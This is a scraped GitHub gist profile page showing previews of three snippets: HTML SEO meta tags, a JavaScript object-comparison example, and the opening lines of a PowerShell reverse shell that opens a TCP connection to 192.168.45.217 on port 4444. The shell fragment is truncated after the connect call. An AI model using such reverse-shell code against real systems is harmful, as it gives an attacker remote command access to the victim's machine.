Skip to content

Instantly share code, notes, and snippets.

View dekadentno's full-sized avatar
📚
mnogo hakovanja, i to baš jakog intenziteta

Matej dekadentno

📚
mnogo hakovanja, i to baš jakog intenziteta
View GitHub Profile
function cleanup {
if ($client.Connected -eq $true) {$client.Close()}
if ($process.ExitCode -ne $null) {$process.Close()}
exit}
// Setup IPADDR
$address = '192.168.45.217'
// Setup PORT
$port = '4444'
$client = New-Object system.net.sockets.tcpclient
$client.connect($address,$port)
@dekadentno
dekadentno / meta.html
Created October 10, 2022 09:26 — forked from rajavijayach/meta.html
Meta Tags for better SEO
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="theme-color" content="#0095b6" />
<link href="https://cdn.company.com" rel="dns-prefetch" />
<title>Title of the page</title>
<meta name="keywords" content="company name, company category" />
<meta name="description" content="company description" />
@dekadentno
dekadentno / 1_primitive_comparison.js
Last active April 1, 2019 12:10 — forked from nicbell/1_primitive_comparison.js
JavaScript object deep comparison.Comparing x === y, where x and y are values, return true or false. Comparing x === y, where x and y are objects, returns true if x and y refer to the same object. Otherwise, returns false even if the objects appear identical.Here is a solution to check if two objects are the same.
//Primitive Type Comparison
var a = 1;
var b = 1;
var c = a;
console.log(a == b); //true
console.log(a === b); //true
console.log(a == c); //true
console.log(a === c); //true